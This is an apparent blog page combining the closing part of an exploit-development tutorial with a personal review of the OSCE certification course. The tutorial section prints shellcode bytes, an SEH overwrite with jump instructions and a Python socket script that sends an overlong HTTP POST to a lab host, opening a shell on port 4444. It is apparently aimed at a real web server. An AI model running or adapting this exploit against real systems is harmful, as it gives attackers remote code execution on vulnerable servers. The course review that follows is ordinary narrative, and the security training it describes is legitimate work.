buf += "\x30\x70\x50\x7c\x47\x8a\xa2\x01\x50\x49\xd8\xdd\xd5"
buf += "\x4c\x7a\x96\x4e\xb5\x7a\x7b\x08\x3e\x70\x30\x5e\x18"
buf += "\x95\xc7\xb3\x12\xa1\x4c\x32\xf5\x23\x16\x11\xd1\x68"
buf += "\xcd\x38\x40\xd5\xa0\x45\x92\xb1\x1d\xe0\xd8\x50\x4a"
buf += "\x92\x82\x3c\xbf\xa9\x3c\xbd\xd7\xba\x4f\x8f\x78\x11"
buf += "\xd8\xa3\xf1\xbf\x1f\xc3\x28\x07\x8f\x3a\xd2\x78\x99"
buf += "\xf8\x86\x28\xb1\x29\xa6\xa2\x41\xd5\x73\x64\x12\x79"
buf += "\x2b\xc5\xc2\x39\x9b\xad\x08\xb6\xc4\xce\x32\x1c\x73"
buf += "\xc9\xfc\x44\xd0\xbe\xfc\x7a\xc7\x62\x88\x9d\x8d\x8a"
buf += "\xdc\x36\x39\x69\x3b\x8f\xde\x92\x69\xa3\x77\x05\x25"
buf += "\xad\x4f\x2a\xb6\xfb\xfc\x87\x1e\x6c\x76\xc4\x9a\x8d"
buf += "\x89\xc1\x8a\xc4\xb2\x82\x41\xb9\x71\x32\x55\x90\xe1"
buf += "\xd7\xc4\x7f\xf1\x9e\xf4\xd7\xa6\xf7\xcb\x21\x22\xea"
buf += "\x72\x98\x50\xf7\xe3\xe3\xd0\x2c\xd0\xea\xd9\xa1\x6c"
buf += "\xc9\xc9\x7f\x6c\x55\xbd\x2f\x3b\x03\x6b\x96\x95\xe5"
buf += "\xc5\x40\x49\xac\x81\x15\xa1\x6f\xd7\x19\xec\x19\x37"
buf += "\xab\x59\x5c\x48\x04\x0e\x68\x31\x78\xae\x97\xe8\x38"
buf += "\xde\xdd\xb0\x69\x77\xb8\x21\x28\x1a\x3b\x9c\x6f\x23"
buf += "\xb8\x14\x10\xd0\xa0\x5d\x15\x9c\x66\x8e\x67\x8d\x02"
buf += "\xb0\xd4\xae\x06"

shellcode += buf


jmpShellcode = "\xE9\xF3\xFC\xFF\xFF" # JMP to the beginning of our shellcode
inital = "\x41" * (790 - len(shellcode)-len(jmpShellcode))
nseh = "\xEB\xF0\x90\x90" # JMP backwards 15 bytes
seh = "\xC2\x15\x40" #004015C2 -> POP EDI, POP EBP, RETN from Application itself


buffer = "POST /" + shellcode + inital + jmpShellcode + nseh + seh + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()

If we execute this now, and pause right after we execute the long jump, we can see we hit around about the middle to end of our NOP sled:



Executing this code results in port 4444 opening:


Connecting to this port returns a shell:



Conclusion

Hopefully this was a good tutorial on how to find your own vulnerabilities and turn them into an exploit. I always wanted to do something like this as soon as I found my first proper vulnerability so here you go :)

In a future tutorial I will cover how I modified this exploit to do a partial bypass of EMET minus DEP. In the meantime I hope you enjoyed this tutorial. Let me know if there is anything that is not clear or if you would like me to expand any of the sections to explain things more.

Until next time
-tekwizz123

Tuesday, September 16, 2014

OSCE Review and Experience


Signing Up

If you have done OSCP before, signing up should be fairly familiar. For those of you masochists out there, the sign up process generally consists of you proving your identity in some way, usually by a scan of your driving license or alternatively, your passport. Because Offsec already had my details on file from when I did the OSCP, I did not need to do anything but click on the personalized link they had sent me for future signups, whereby my details were then passed onto them automatically upon signup.

Once Offsec have received your details and checked your identity, they will then give you the option to pay for the course. As this course is more advanced then OSCP, the price is a little bit higher, at $1500 for 60 days of lab time, or $1200 for 30 days of lab time. Retakes of the exam are $100 per retake.

In my personal experience I would say the best method to take would be to set aside 3 months, as like the OSCP and to take the 60 day option. The reason for this is that granted, you won't need the full 60 days to cover the course, but it gives you the option to train for 45-50 days, take the exam, rest for a day or two, and then figure out where you went wrong on the first try in time for a second exam try.

Furthermore, from experience and what I've heard from others, most people tend to fail this exam on their first try. My personal opinion is that unless you have been doing this sort of stuff for a long time, its highly unlikely you will manage to get it on the first time. So don't expect for that to happen.

Do however expect to fail, and to learn a lot from the mistakes that will occur during your first exam attempt. The period between my first and second exam attempt where I did a lot of personal research into the various topics was actually where I learned the most, and is where two future posts's topics were researched in further detail, to give an example of the level of learning that occurs here.

After you have paid the fee for the course, you will be given access to a calendar from which you can book the start of your course. Please note that your lab access time will start from the start of your course. Contrary to some people's belief, it does not start from the moment you access the labs. You could spend the entire time not in the labs and the timer will still count down. So use the labs to your advantage! :)

Once a date has been chosen, you should receive an email stating:

Your lab start date is 15/06/14 00:00 (June 15th) GMT 0 at which point, you will receive your course materials and lab account details via email at the following address: *removed for my sanity*

There will also be a link to a sample VPN connection pack that you can use to make sure you can VPN into the labs. If you have any problems during this stage, contact Offsec to find out what might be wrong and how to fix it.

Once you have done all of that, congrats, you now have signed up for CTP :)


Starting the Labs

Two days prior to starting your labs, you will get an email reminding you of your starting date. This is to make sure that everything is okay with you and to remind you to get prepared :) On the day of the access to the labs, at exactly the time specified or a few minutes after it (depends on your connection speed) you will get a lab email.

In the email will be several details that you will need to be aware of. In particular there are 4 links. Please note that these links will only be valid for 72 hours. Therefore you need to download all of these and keep a backup of them. If you loose them, good luck mate. Offsec will not provide backup copies.

Therefore, its best to download all of these links and save them to a safe place. There are:
  • Lab videos (this is going to be a fairly large download)
  • CTP manual
  • Lab connectivity guide (if you've done OSCP this should be familiar)
  • Lab connectivity pack
You will also get your username and password for the lab VPN at this point, as well as access to the control panel for the machines.

Now students of OSCP may find this surprising, but these machines are entirely yours. No one else's. No more fights over control. There just yours to play around with without any delays. You'll soon learn why you need this though, as a lot of the challenges aren't very tolerant of faults and changes in the way you do things.

Finally for the course, Offsec recommends you to use a 32 bit VM of Kali Linux, and provides a link for you to download the VM to your local drive. I would highly recommend using this as not only does this provide a layer of abstraction between your host system and the labs, but it also helps later on if you have any problems with the labs.

Finally, a while later you will receive a email that contains your OSID, your login to the Offensive Security forums, and a link to schedule your exam. Save this email somewhere safe as you will need it when you book your exam.

Getting Started in the Labs

In the labs you will have access to several machines (I am deliberately not telling you how many as that is a secret for those in the labs I believe. Also to avoid possible pitfalls related to giving hints away, and I'd really like to keep my OSCE if you don't mind :P )

On those machines will be various software components that will relate to the exam handbook. Each chapter of the handbook focuses on a different scenario that Offensive Security experienced when they were doing real world pentests and explains the problem as well as how they walked through each of the steps to solve it. Finally, the problem at the end usually asks you to recreate their work in the labs and might suggest trying to do improvements to it in some way to gain further understanding.

Topics Covered

I will now provide a breakdown of the topics covered and explain in detail what they entail and my opinion and review on each of them:

Cross Site Scripting Attacks

This was a pretty easy chapter, but went into how to use XSS in more interesting scenarios and how to use it to steal cookies to hijack sessions as well as how to use XSS to get a shell via a client side attack. This was a nice section however I felt a little bit cheated when they went from "Oh, so we now have admin control" to "Lets get a shell on the system". Thus I might have liked to see some more interesting scenarios being presented here, but the ones presented were beautifully explained.

Web Fu

At this point the course starts to take a turn for the more interesting as we look into a multi stage web application attack example that takes advantage of one of the flaws that existed in an old version of PHPNuke and examines how we can take what appears to initially look like a simplistic vulnerability that has minimal impact into full fledged system access on the computer by abusing 2 vulnerabilities within the PHPNuke software, combined with a couple of handy tricks.

This was one of my favorite chapters of the entire course, as it really changed by perspective on how even simple vulnerabilities can cause problems when combined later down the line. This was a valuable and important lesson to learn at this stage in the game as it would quickly become more apparent later on how we could abuse this.

The Backdoor Angle

This course was a nice introduction to LordPE and some of the various tools you would be using in the next chapter. I was surprised to learn how easy it is to backdoor a file but to be honest, when I saw the method they presented, it made a lot of sense. Maybe some more interesting alternative methods could be presented here like alternative data streams, as the section does seem to be quite focused around just the one area in particular, but it was a nice introduction none the less.

Bypassing Antivirus Systems

Oooh this was another fun module. Taking on the stuff learned in the previous chapter, one is taught how to evade common antivirus signature detection technology, the most popular detection mechanism in use today, thus dropping detection rates quite significantly.

The method for this is quite similar to the previous example, with the exception of the code stub. A sample code stub is supplied, but it leaves you enough room and explanation to code your own if you ever need to. The logic behind it not complex if you have a decent familiarity with x86 assembly and even if you don't they walk you through the assembly code so that you understand everything that is going on within the stub.

Pretty brilliant module tbh. Didn't really have any complaints with it minus the fact that I would like to see this updated with a section on bypassing heuristics. These techniques do tend to update more frequently, however at the end of the day there will always be some AV out there that relies on old techniques and thus this would serve well for learning how to bypass it. Furthermore, by studying old techniques, one can learn some common pitfalls of past AV's and search for new methods to bypass AV when the old methods get patched.

Bypassing ASLR on Vista

This module was one of two modules I think Offsec could have done without in their course. The example of bypassing ASLR on Vista with a sample exploit and a 3 byte overwrite was brilliant, and I have actually incorporated a similar idea into one of the exploits I plan to release in another blog.

However the main downfall of this module is that there is no other place this or similar protection mechanisms such as DEP are talked about. Its just the 3 byte overwrite example and then bamn, next chapter. I would have like to see this section expanded a bit or more examples/technology bypassing included. Perhaps that would push it more into AWE space, but I feel just adding one example for ASLR doesn't serve it any justice.

Cracking The Egghunter

To me this module was a little bit boring as I have done egghunters for a long time before this course (I started using egghunters in exploits back when I did my OSCP to give you an idea).

That being said, I think it was still a very well written chapter. The Offensive Security guys take you though Skape's popular egghunter, how each piece of the code works, and how it all fits together, and then demonstrates it on a sample exploit. They also explain the benefits of using this egghunter vs making several long jumps.

Overall I liked this, but it was a bit repetitive for me having past experience in egghunters.

Windows TFTP Server

This was a nice chapter, and was really the section where I learned a lot. In this section one takes a look at a buffer overflow in a popular TFTP server and looks at how to write a Spike fuzzing template for it.

Along the way, I learned many mistakes that can be made when one tries to write a Spike fuzzer and learned how to make a Spike template for a target protocol fairly quickly.

From there one was able to write the fuzzer, run it, wait for a few minutes, and get a controllable crash. The rest of the chapter then walked through how to exploit the crash in a semi-difficult environment.

HP NNM

The monster, the beast, the main challenge, pain made in hell itself. Whatever you want to call it, this one is going to take at least 3-4 times the time of the other modules in order for you to fully understand it all. So don't be afraid of it, just realize its a fairly complex exploit.

Overall this module was probably the second one that really taught me a lot. From custom encoding shellcode to making my own shellcode to figuring out really stupid problems with my code, this one caused me a bit of grief and strife. But this was only a taste of what was to really come. Alas this was and still is to this day what I consider one of the nastiest exploits I have come across.

I really can't say too much about this one besides from that, just make sure you study this one well. A lot of the course's lessons and knowledge derive from this one section, so take some time out of your day to understand this section really well.

The Exam Try 1

So after 1 month of study and another few weeks off for vacation, I decided to do my OSCE exam. It was a tight squeeze to get it to fit in time, but I managed to make it work.

Boy. Did that thing kick my ass black and blue. For a good solid 8 hours I got stuck on one of the challenges, only to realize my mistake was due to trying to do things too fast. Once I figured that out, it only took me 2 hours to figure out how to get full privileges on that system.

Aside from that, I was only able to pop one other machine, however it was so easy for me that I didn't feel any satisfaction really in popping it minus the points value.

After that I was stuck with X (a number between 1 and 5) other machines. I didn't realize it at the time, but I had actually completed another without my knowledge, due to a misreading of the instructions. Later, on my second try, I realized this mistake and was able to fix it.

Post Exam Try

The other machines I was unable to compromise. At this point I was a messy pile of half stress, half satisfaction and half confusion. I had trained for this? I should be able to get at least a bit more than this? I mean I know its meant to be hard but it shouldn't be that bad right? It quickly came to me that I was going to have to do more research into the various sections I missed.

So I took some time off and researched whilst I had a few family vacations I couldn't move around (Greencards and other important stuff). Along the way I managed to find a vulnerability in Kolibri WebServer 2.0 via an overly long POST request (http://seclists.org/bugtraq/2014/Aug/86), and trained my skills in developing fuzzer templates for various protocols.

I also learned custom shellcode and made some nifty examples for use the second time around. I also made some tools to automate some of the problems that I had in the labs, which came in handy thought-out the exam, especially one of the tools which I estimate cut the time down for one of the sections by about 2 hours in total.

By the time I was done, I had working solutions for each of the targets in the exam lab ready to go. I then went ahead and rebooked my exam. This date was then moved again after I learned that I had to undergo dental surgery for my wisdom teeth which might potentially result in me being very out of it during the exam. As thus I then scheduled my exam for the Monday after the appointment, which also gave me the time to go see a friend (@TheColonial) and some mates (@stevelord, @n0x00, @_Freakyclown_) the day before for dinner.

The Exam Try 2

The second try of the exam was much much easier, as I had a general idea of my previous pitfalls and knew roughly what to expect and how to get around my previous issues that I faced.

The whole process ended up taking quite a long time as I had to do new screenshots for each of the hosts, and there were a lot of screenshots, but eventually I manged to complete the first two machines. By this point I was at pretty much the same point as last time.

I then tried the one I didn't get last time. For some reason the exploit worked locally, but not remotely. I checked with an Offsec admin that this was to be expected, and after confirming that it was, went back to work on the target. I tried many solutions against the target, all working locally but not remotely. Eventually I realized I was getting nowhere.

At this point I then went back to the other targets that I had missed and got them done. Having feeling satisfied that I had managed to nail the other ones, I went back to the challenge one.

From then on, this thing proceeded to kick my ass. Despite my best attempts, I was only able to get partial access to this box. However I didn't even know if I would get partial points on it. The instructions and specifications for the points for this target in particular where a little bit unclear and left me on the edge of passing.

Realizing this, I decided to send an email off to challenges AT offensive-security DOT co(take a guess you spam bots). However they said they would be unable to answer any of my questions until I submitted the exam documentation in. Alright then....guess theres only one way to figure this out.....going to have to do this report.

Writing the Report

Report writing is never fun, but this one was a real pain. In total it took me just under the 24 hours prescribed to write the report with a 4-5 hour nap during all of that. This was probably due to me including too much detail, and is something that I need to work on in my report writing. I like writing very detailed reports but there is a certain point where you just start adding detail for the sake of it rather than trimming it down to only what is needed to get your point across. Hopefully as I write more reports I'll learn from my mistakes and be able to tweak that but at present it remains one of my main pitfalls.

Anyway, after 24 long hours, I finally managed to get my report in by 11 am. At this point all I had left to do was wait for the results. After fixing some issues with Gmail being a right pain with the documentation format I eventually decided to submit everything as a text file with instructions on how to turn the files back into their respective formats to get around the filtering. At this point I was getting really tired, so I decided to go to sleep and check the results in 2 days.

2 days later went back to check my results. It turns out that within 24 hours of me taking the exam, they had emailed me to confirm that I had passed! I was ecstatic. Finally after all this time I had gotten the OSCE certification! All the hard work and pain had finally paid off in one spectacular email :)

Review and Reflections

Overall this course was a hell of challenge. But I would definitely recommend it to anyone who wants to improve their security skills to the next level. It is a lot of work and your going to need some time to understand all the concepts throughly, but it is well worth your time and will greatly help to advance your skills in the realm of web application security, exploit development and creative thinking.

What will I be doing on from here on out? Well to be honest I am not sure. I have a final year of university I need to finish first before I do anything job related. However at the same time with only about a class a day I might still have time to conduct spare research and activities outside of my classes and outside class research time (which will be needed for my dissertation). My primary focus this year is going to be my dissertation of course as that counts for two of my regular courses.

With that aside, I would quite happily do another Offsec certification. I have my eyes on AWE next, but due to the costs involved with that and a lack of sponsorship, I may have to wait for now whilst I save the money up for a hotel, the course, and food/general living expenses, as well as travel.

Anyway, I hope you enjoyed this review of the OSCE certification. Let me know if you agreed or disagreed with my opinion on anything in this post. I'm interested to hear what you think.

-tekwizz123